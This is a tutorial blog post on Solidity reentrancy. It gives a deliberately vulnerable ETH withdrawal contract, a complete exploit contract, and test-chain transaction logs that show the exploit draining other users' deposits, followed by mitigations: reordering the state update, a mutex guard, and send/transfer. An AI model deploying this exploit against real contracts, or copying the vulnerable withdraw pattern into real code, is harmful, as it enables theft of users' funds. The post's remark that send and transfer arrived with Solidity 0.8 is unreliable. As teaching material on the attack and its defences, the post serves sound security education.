Skip to content

Exploit and Prevent Reentrancy Attacks in Smart Contracts

Smart Contracts, the self-executing code running on blockchain platforms, have revolutionized various industries by automating processes and providing decentralized solutions.

Over the years, hackers have exploited weaknesses in smart contracts, leading to devastating consequences. The most notorious attack on Smart Contracts is Reentrancy.

An attack that takes advantage of the fallback function provided by payables, which is used to trigger an event after a payment was completed. Reentrancy allows hackers to drain all the resources from a smart contract, with example the famous DAO hack in 2016.

Below is a sample contract which allows users to deposit funds, withdraw their funds and display the total balance of the Smart Contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

contract VulnerableContract {
    mapping(address => uint) public balances;

    function depositETH() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawETH() public {
        uint userBalance = balances[msg.sender];
        require(userBalance > 0, "Insufficient User Balance");

        (bool sent, ) = msg.sender.call{value: userBalance}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getContractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

The depositETH function is taking the value passed from the global variable msg and is assigned to address of the sender. The withdrawETH function, firstly verifies that the balance of the user is sufficient and then uses the low level function call; used for calling external contracts, to send the remaining balance back to its owner’s address. Finally, the balance of the user is set to 0, to prevent further transactions.

While in fact this looks like an expected flow, the balance of the user is verified before submission, and after the money is sent back, the balance is set to zero. The problem occurs because the call function, is normally expected to call a function, which in this case is empty (bool sent, ) = msg.sender.call{value: userBalance}(""); , and because of that the fallback function from the contract that called the vulnerable contract will trigger.

To exploit this issue a new smart contract is required, which will have a constructor that will take as an argument the address of the vulnerable contract. Constructor is a special function in Solidity which is executed once, when the smart contract is deployed. Then the fallback function, which will execute once the exploit contract will receive the transaction from the vulnerable contract. A function to start the process by sending 1 Ether to the vulnerable contract and then straight request to withdraw it. Finally a simple function to show the balance on the exploit wallet. The final form of the contract looks like this:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

contract Exploit {
    VulnerableContract public vulnerableContract;

    constructor(address vulnerableContractAddress) {
        vulnerableContract = VulnerableContract(vulnerableContractAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(vulnerableContract).balance >= 1 ether) {
            vulnerableContract.withdrawETH();
        }
    }

    function exploit() external payable {
        require(msg.value >= 1 ether);
        vulnerableContract.depositETH{value: 1 ether}();
        vulnerableContract.withdrawETH();
    }

    // Helper function to check the balance of this contract
    function getExploitBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Now both the contracts are deployed, 2 users transfer 2 Ethers each to the Vulnerable smart contract

status	true Transaction mined and execution succeed
transaction hash	0x675b89bfc6558231b2dfa8040fb7fafcb59601b09c5ccf9d871aab08b5b8b234
block hash	0x896460b6a[..SNIP..]21807163249
block number	119
from	0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to	VulnerableContract.depositETH() 0xd4662c4530c9cB1d194Cc2e8c11A13413148Fc6F
gas	27283 gas
transaction cost	23724 gas 
execution cost	2660 gas 
input	0xf63...26fb3
val	2000000000000000000 wei

----
status	true Transaction mined and execution succeed
transaction hash	0x9a8721a2be883b1c227513943011814b456d9f3ae3f5d33f88252cb8b1b3d7eb
block hash	0x930b435e2322555e50[..SNIP..]55f6e4d8b26a2eb8b
block number	120
from	0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
to	VulnerableContract.depositETH() 0xd4662c4530c9cB1d194Cc2e8c11A13413148Fc6F
gas	50168 gas
transaction cost	43624 gas 
execution cost	22560 gas
val	2000000000000000000 wei 

----

from	0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
to	VulnerableContract.getContractBalance() 0xd4662c4530c9cB1d194Cc2e8c11A13413148Fc6F
execution cost	334 gas (Cost only applies when called by a contract)
input	0x6f9...fb98a
decoded input	{}
decoded output	{
	"0": "uint256: 4000000000000000000"
}
logs	[]

The address of the wallets are 0x5B38Da…C4 and 0xAb8483…cb2. Now, the contract holds a total of 4 Ethers.

After deploying the malicious contract, 1 Ether is added from the attacker’s account, and then is withdrawn.

status	true Transaction mined and execution succeed
transaction hash	0xb7fe71b648ce088091c6f3a5d6fa4ac052de032934e23c312e1d823649e0efb3
block hash	0xe2fbd1a91cdbe78669cbf59bdf2327137c23e267a2e5c1eb99da652aa60413b4
block number	127
from	0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
to	Exploit.exploit() 0xDb2fCB1D9D5fb2E3EaB5B5dBb981481817743C7a
gas	135308 gas
transaction cost	78208 gas 
execution cost	76695 gas 
input	0x63d...9b770
decoded input	{}
decoded output	{}
logs	[]
val	1000000000000000000 wei

Because the callback function is called, instead of withdrawing only 1 Ether, every Ether from the vulnerable contract is withdrawn. To confirm the transaction, the balance of the vulnerable contract is shown (0″: “uint256: 0”):

from	0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
to	VulnerableContract.getContractBalance() 0xd4662c4530c9cB1d194Cc2e8c11A13413148Fc6F
execution cost	334 gas (Cost only applies when called by a contract)
input	0x6f9...fb98a
decoded input	{}
decoded output	{
	"0": "uint256: 0"
}
logs	[]

While the exploit contract has the initial ether deposited by the attacker, but also the extra 4 ethers from the other users (“0”: “uint256: 5000000000000000000”).

from	0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db
to	Exploit.getExploitBalance() 0xDb2fCB1D9D5fb2E3EaB5B5dBb981481817743C7a
execution cost	312 gas (Cost only applies when called by a contract)
input	0x08e...25027
decoded input	{}
decoded output	{
	"0": "uint256: 5000000000000000000"
}
logs	[]

Reentrancy can be prevented in multiple ways, with the easiest being moving the balances[msg.sender] = 0; line above (bool sent, ) = msg.sender.call{value: userBalance}("");. In case the sender’s balance was set to 0, the attack wouldn’t work, because the fallback function would attempt to withdraw, but the balance would be 0.

Another way to protect is the use of Mutex or Reentrancy Guard. OpenZeppelin has a reentrancy guard library, which will prevent the withdraw function from running twice. A sample guard can be seen below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

contract ReentrancyGuardExample {
    bool private reentrancyGuard;

    mapping(address => uint256) public balances;

    function deposit() external payable {
        require(msg.value > 0, "Must send Ether to deposit.");
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(amount > 0, "Withdrawal amount must be greater than zero.");
        require(balances[msg.sender] >= amount, "Insufficient balance.");

        // Add a reentrancy guard
        require(!reentrancyGuard, "Reentrant call detected.");
        reentrancyGuard = true;

        // Perform the withdrawal
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= amount;

        // Release the reentrancy guard after the withdrawal
        reentrancyGuard = false;
    }
}

Finally, another way would be to use address.send or address.transfer which can protect the contract from reentrancy attacks. Those functions are supported after version 0.8 of Solidity, and limit the amount of gas which can be used.

Update 27-7-2023: Updated code to use the latest Solidity version and new 0.8 send and transfer functions.

Was this post helpful?